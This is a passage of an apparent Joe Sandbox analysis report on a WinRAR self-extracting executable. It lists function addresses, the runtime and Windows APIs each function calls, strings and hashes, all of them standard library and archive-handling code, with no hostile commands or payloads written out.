, xrefs: 00007FF7B67DC4FA

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: $
API String ID: 3668304517-227171996
Opcode ID: ce961440c252c54ac7cdb18143936a9c7aab5b84bd490395b8a73d254a9aba8b
Instruction ID: 46893ecdab3c64b80f8e6847ccc7736617cef3459d4a0ddffafec2a26f481d99
Opcode Fuzzy Hash: ce961440c252c54ac7cdb18143936a9c7aab5b84bd490395b8a73d254a9aba8b
Instruction Fuzzy Hash: 29F1F9A2F1474240EE00AB6CD96817EA365AB6ABA8F905A71CB5D137DDDF7CD084C360

Function 00007FF7B67E8D7C Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 317COMMONLIBRARYCODE

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF7B67E8F1A
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7B67E923D
abort.LIBCMT ref: 00007FF7B67E9271

Strings

csm, xrefs: 00007FF7B67E8E61
csm, xrefs: 00007FF7B67E8EC3
csm, xrefs: 00007FF7B67E8F41

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: Is_bad_exception_allowedabortstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 2940173790-393685449
Opcode ID: 7ce8224d02cbc9d10e697210102f736983d510ff4da2607681883173542701a8
Instruction ID: 68749ac3aca014cdece22ca5e3385eafefbe8714d0fe9723ce98e7944a765a4e
Opcode Fuzzy Hash: 7ce8224d02cbc9d10e697210102f736983d510ff4da2607681883173542701a8
Instruction Fuzzy Hash: EFE1B7379087818AEB10EF78D8902AEB7A8FB6A748F5041B5DB4D57759CF38E489C710

Function 00007FF7B67D1BF4 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B67D0AA0: CompareStringW.KERNEL32(?,?,00007FF7B67C6C19), ref: 00007FF7B67D0ABF

Part of subcall function 00007FF7B67C12BC: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7B67C13B6

Part of subcall function 00007FF7B67D0AD0: CompareStringW.KERNEL32 ref: 00007FF7B67D0B36

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67D1DC2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67D1DC8
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7B67D1E25

Strings

.zx, xrefs: 00007FF7B67D1C92, 00007FF7B67D1CA1
z%s%02d, xrefs: 00007FF7B67D1E12
.zipx, xrefs: 00007FF7B67D1C3B, 00007FF7B67D1C4A

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: CompareString_invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_taskswprintf
String ID: .zipx$.zx$z%s%02d
API String ID: 2859674139-515631857
Opcode ID: 4b60fe0a4260c981502afa51fbfce4c695209fcfdf906febb7fa7c3ab58db49e
Instruction ID: 4b945444392a06deb88b27f65a1a3437c3eb0c31b2ece1c9e472afc123310df6
Opcode Fuzzy Hash: 4b60fe0a4260c981502afa51fbfce4c695209fcfdf906febb7fa7c3ab58db49e
Instruction Fuzzy Hash: 2271B562A14781C4EB00EF68D8A13EE7361EFAE794F805671EB5C06A9DDF38D148C710

Function 00007FF7B67EA87C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,00000000,00007FF7B67EAA83,?,?,?,00007FF7B67E87EE,?,?,?,00007FF7B67E87A9), ref: 00007FF7B67EA901
GetLastError.KERNEL32(?,?,00000000,00007FF7B67EAA83,?,?,?,00007FF7B67E87EE,?,?,?,00007FF7B67E87A9), ref: 00007FF7B67EA90F
LoadLibraryExW.KERNEL32(?,?,00000000,00007FF7B67EAA83,?,?,?,00007FF7B67E87EE,?,?,?,00007FF7B67E87A9), ref: 00007FF7B67EA939
FreeLibrary.KERNEL32(?,?,00000000,00007FF7B67EAA83,?,?,?,00007FF7B67E87EE,?,?,?,00007FF7B67E87A9), ref: 00007FF7B67EA97F
GetProcAddress.KERNEL32(?,?,00000000,00007FF7B67EAA83,?,?,?,00007FF7B67E87EE,?,?,?,00007FF7B67E87A9), ref: 00007FF7B67EA98B

Strings

api-ms-, xrefs: 00007FF7B67EA921

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 6c79a96e063dba16a1b32c7952d051ebac3d8e1187371194647d3fb8a0e2c012
Instruction ID: c9365811478f9ec3148454ff42566e3fdc57584a79d88b96758babbd90c602e0
Opcode Fuzzy Hash: 6c79a96e063dba16a1b32c7952d051ebac3d8e1187371194647d3fb8a0e2c012
Instruction Fuzzy Hash: 8E310A65A1A741C1EE11AB0A9C10576B398FF6EB64F9A0575DF1D47388DF3CE0488320

Function 00007FF7B67E5094 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 43libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,00007FF7B67E5003,?,?,?,00007FF7B67E53BA), ref: 00007FF7B67E50BB
GetProcAddress.KERNEL32(?,?,?,00007FF7B67E5003,?,?,?,00007FF7B67E53BA), ref: 00007FF7B67E50D8
GetProcAddress.KERNEL32(?,?,?,00007FF7B67E5003,?,?,?,00007FF7B67E53BA), ref: 00007FF7B67E50F4

Strings

AcquireSRWLockExclusive, xrefs: 00007FF7B67E50CE
KERNEL32.DLL, xrefs: 00007FF7B67E50B4
ReleaseSRWLockExclusive, xrefs: 00007FF7B67E50E3

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: d44736b24ca49afb9e39255391aa9d684b927709e013dababe23d1481c6dad27
Instruction ID: f1556c69c00788687b673fea67d10efcbe78ae7d861ac94b58d131c3d84b412d
Opcode Fuzzy Hash: d44736b24ca49afb9e39255391aa9d684b927709e013dababe23d1481c6dad27
Instruction Fuzzy Hash: B011A028A1E74780FD106F08AD60637D2955F3E780FC814B4CB0D0635CEE3DB4589620

Function 00007FF7B67E9278 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF7B67E92E8

Part of subcall function 00007FF7B67E87A0: abort.LIBCMT ref: 00007FF7B67E87B3

_CallSETranslator.LIBVCRUNTIME ref: 00007FF7B67E9333
abort.LIBCMT ref: 00007FF7B67E9561

Strings

RCC, xrefs: 00007FF7B67E9304
MOC, xrefs: 00007FF7B67E92FC

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: abort$CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 2889003569-2084237596
Opcode ID: 72139495dcf16bb81820f3d810a7b9a0b09b4fcdb0284e32ba8cd3a939180766
Instruction ID: 6588c95bb3794d2eb311a0ed7fa588816075f6ec42da1ee97cc6d222b90e218b
Opcode Fuzzy Hash: 72139495dcf16bb81820f3d810a7b9a0b09b4fcdb0284e32ba8cd3a939180766
Instruction Fuzzy Hash: CD91F477A087818AE710DF68E8902AEB7A4F75A788F50417AEF4D17758DF38D199C700

Function 00007FF7B67E83FC Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7B67E8427
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF7B67E84BC
RtlUnwindEx.KERNEL32(?,?,?,?,?,?,?,00007FF7B67E672E), ref: 00007FF7B67E850B

Strings

csm, xrefs: 00007FF7B67E84A2
f, xrefs: 00007FF7B67E843A

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 11495064961466997c8733bd3dbf6db7e405d107ed00bd2b81d8cafc23c6a21f
Instruction ID: e53fe88aeb57329560cfd89b27fe33c33200d684e2282fb25d2934444a56b453
Opcode Fuzzy Hash: 11495064961466997c8733bd3dbf6db7e405d107ed00bd2b81d8cafc23c6a21f
Instruction Fuzzy Hash: D651C735A0564186D754EF19EC10A3BB799FB69B94F9080B1DF1B4778CDF38E8868B20

Function 00007FF7B67DB7B8 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

ShowWindow.USER32 ref: 00007FF7B67DB7FF
GetWindowRect.USER32 ref: 00007FF7B67DB850
ShowWindow.USER32 ref: 00007FF7B67DB926
ShowWindow.USER32 ref: 00007FF7B67DB953

Strings

RarHtmlClassName, xrefs: 00007FF7B67DB8DB

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: Window$Show$Rect
String ID: RarHtmlClassName
API String ID: 2396740005-1658105358
Opcode ID: 500699e0308efecee35f99f9c80279572e1dadfe036f1821013dd5e6272eb3e2
Instruction ID: 43dc1ea7d54c12943d766253c68b1ce0a7b747919fb142d549f613d7f9a6fcf2
Opcode Fuzzy Hash: 500699e0308efecee35f99f9c80279572e1dadfe036f1821013dd5e6272eb3e2
Instruction Fuzzy Hash: 2D5198A660878286EA24EB19E85437BE751FBAEB80F844575DF4E43758CF3CE045CB10

Function 00007FF7B67E3810 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32 ref: 00007FF7B67E3847
SetEnvironmentVariableW.KERNEL32 ref: 00007FF7B67E38C0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E391F

Strings

sfxcmd, xrefs: 00007FF7B67E3840
sfxpar, xrefs: 00007FF7B67E38B9

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: EnvironmentVariable$_invalid_parameter_noinfo_noreturn
String ID: sfxcmd$sfxpar
API String ID: 3540648995-3493335439
Opcode ID: 5a57c69db1c650ffc0109058ee75098a0d594147db01f3cd247ccf932cb967a8
Instruction ID: bf2a021e23ecd5a332265a2c05fbdf94a4c3545aec3191dc9e47f5128acd1029
Opcode Fuzzy Hash: 5a57c69db1c650ffc0109058ee75098a0d594147db01f3cd247ccf932cb967a8
Instruction Fuzzy Hash: CF31C326B14B4584FB00EB6DDCA41AEA375EB69BA8F840175DF1D577ACCE38D085C320

Function 00007FF7B67E3994 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52COMMON

Download Yara Rule

Strings

RENAMEDLG, xrefs: 00007FF7B67E3A20
REPLACEFILEDLG, xrefs: 00007FF7B67E39F4, 00007FF7B67E3A59

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: fda320a62b1de8e0c326076fb66231056f5d4cab4133c3dd2cb0763aad417ddf
Instruction ID: 735392c04cd70fdb3f243b05d84bd81c03c900bd6046bbd767bc3e9cef0a97ee
Opcode Fuzzy Hash: fda320a62b1de8e0c326076fb66231056f5d4cab4133c3dd2cb0763aad417ddf
Instruction Fuzzy Hash: F921106490CA4781EA10AB5DFD54577A366BF6AB98FD400B6DB4D4732CDE3CE1A8C320

Function 00007FF7B67EF490 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF7B67EF4B0
GetProcAddress.KERNEL32 ref: 00007FF7B67EF4C6
FreeLibrary.KERNEL32 ref: 00007FF7B67EF4EB

Strings

mscoree.dll, xrefs: 00007FF7B67EF4A7
CorExitProcess, xrefs: 00007FF7B67EF4BF

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: bbfb9acffd6a1f7f328749b5137115e28703a16519561567df947b6386454bd5
Instruction ID: 84e224366134ad46125c32a683065eb85c8afe45ae2a418d1dbd716be64af940
Opcode Fuzzy Hash: bbfb9acffd6a1f7f328749b5137115e28703a16519561567df947b6386454bd5
Instruction Fuzzy Hash: 18F0A461A1868281EF44AB18F86077AA360EFADB80F841076DB0F4676CCE3CD488C710

Function 00007FF7B67F7AD4 Relevance: 7.7, APIs: 5, Instructions: 203COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B67F7B19

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5733bc4db78c109f0175e69bb486889a5a1a9f6e1ea72f320297fc23bc50833c
Instruction ID: bc078e3d5e6b0fab417a4c4d78be9683f3b834ac2695568843f4687bbadf23b9
Opcode Fuzzy Hash: 5733bc4db78c109f0175e69bb486889a5a1a9f6e1ea72f320297fc23bc50833c
Instruction Fuzzy Hash: FD81D822B1868285F710AF6DAC609BEA7A4BB6E758FD045B5CF0E13799CE3C9445C730

Function 00007FF7B67C5DB8 Relevance: 7.7, APIs: 5, Instructions: 163filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF7B67C5E7B
CreateFileW.KERNEL32 ref: 00007FF7B67C5EE4
SetFileTime.KERNEL32 ref: 00007FF7B67C5FAC
CloseHandle.KERNEL32 ref: 00007FF7B67C5FB6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67C5FEC

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: File$Create$CloseHandleTime_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2398171386-0
Opcode ID: c299dd6574666b912f0904cfb6e31982528ab9a398bf0cc226caba62c1314a06
Instruction ID: 4e79549270437d2cc71fbf5c62731d7a07547f368e65cddf855f0223c7ae3c26
Opcode Fuzzy Hash: c299dd6574666b912f0904cfb6e31982528ab9a398bf0cc226caba62c1314a06
Instruction Fuzzy Hash: 9B51E832B14B4249FB54EB68DC207BEA361AB6E768F800675DF1D466DDDF3890258310

Function 00007FF7B67F7448 Relevance: 7.6, APIs: 5, Instructions: 142fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FF7B67F7C7B), ref: 00007FF7B67F74A5
WideCharToMultiByte.KERNEL32 ref: 00007FF7B67F7581
WriteFile.KERNEL32 ref: 00007FF7B67F75A7
WriteFile.KERNEL32 ref: 00007FF7B67F75E6
GetLastError.KERNEL32 ref: 00007FF7B67F761E

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
String ID:
API String ID: 3659116390-0
Opcode ID: 9178f81fb76f1e31521b60b80658233a53cfb8d4cb70a9f25aa2f81663bd83bf
Instruction ID: ee864464a7f36bffe4a90ad33d60e8dc8f65a7564a4e6acacefb0c1cb2773cf7
Opcode Fuzzy Hash: 9178f81fb76f1e31521b60b80658233a53cfb8d4cb70a9f25aa2f81663bd83bf
Instruction Fuzzy Hash: FA510432A14A9185E710DF29E854BAEBBB1BB5AB98F444135DF0E47B9CDF38D041C710

Function 00007FF7B67F28A4 Relevance: 7.6, APIs: 5, Instructions: 114libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF7B67F29C6

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 883fb41bd9703dcc10221343c29cb9d071b7ea0fa4d80864beb1efdaf450b773
Instruction ID: 84b76fba4da406cdf8e67cfe696e7efd84b7367e22514968a8ccaff6e7975dca
Opcode Fuzzy Hash: 883fb41bd9703dcc10221343c29cb9d071b7ea0fa4d80864beb1efdaf450b773
Instruction Fuzzy Hash: 6D41E562B1968281FA11BB995C20976E3D1BF3EBE0F894574DF2D5B388DE3CE0408620

Function 00007FF7B67F8BE8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF7B67F8C0F
_set_statfp.LIBCMT ref: 00007FF7B67F8C2A
_set_statfp.LIBCMT ref: 00007FF7B67F8C46
_set_statfp.LIBCMT ref: 00007FF7B67F8C82

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: f3bd3298a46f29c998dca386ec4adc9bd6d7efdfabb851da102e47160911a3a1
Instruction ID: 9b93ac7fa363f82a79d4490131385fcf405b07b1f637fea34cbd6f7682a3b7b9
Opcode Fuzzy Hash: f3bd3298a46f29c998dca386ec4adc9bd6d7efdfabb851da102e47160911a3a1
Instruction Fuzzy Hash: 23118132E29A8205FA54222CEC76B7B80616F7E3B0F8547F0E76D465DE8E6C64418221

Function 00007FF7B67E97EC Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7B67E9816
abort.LIBCMT ref: 00007FF7B67E9A7A

Strings

csm, xrefs: 00007FF7B67E99AA
csm, xrefs: 00007FF7B67E983B

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

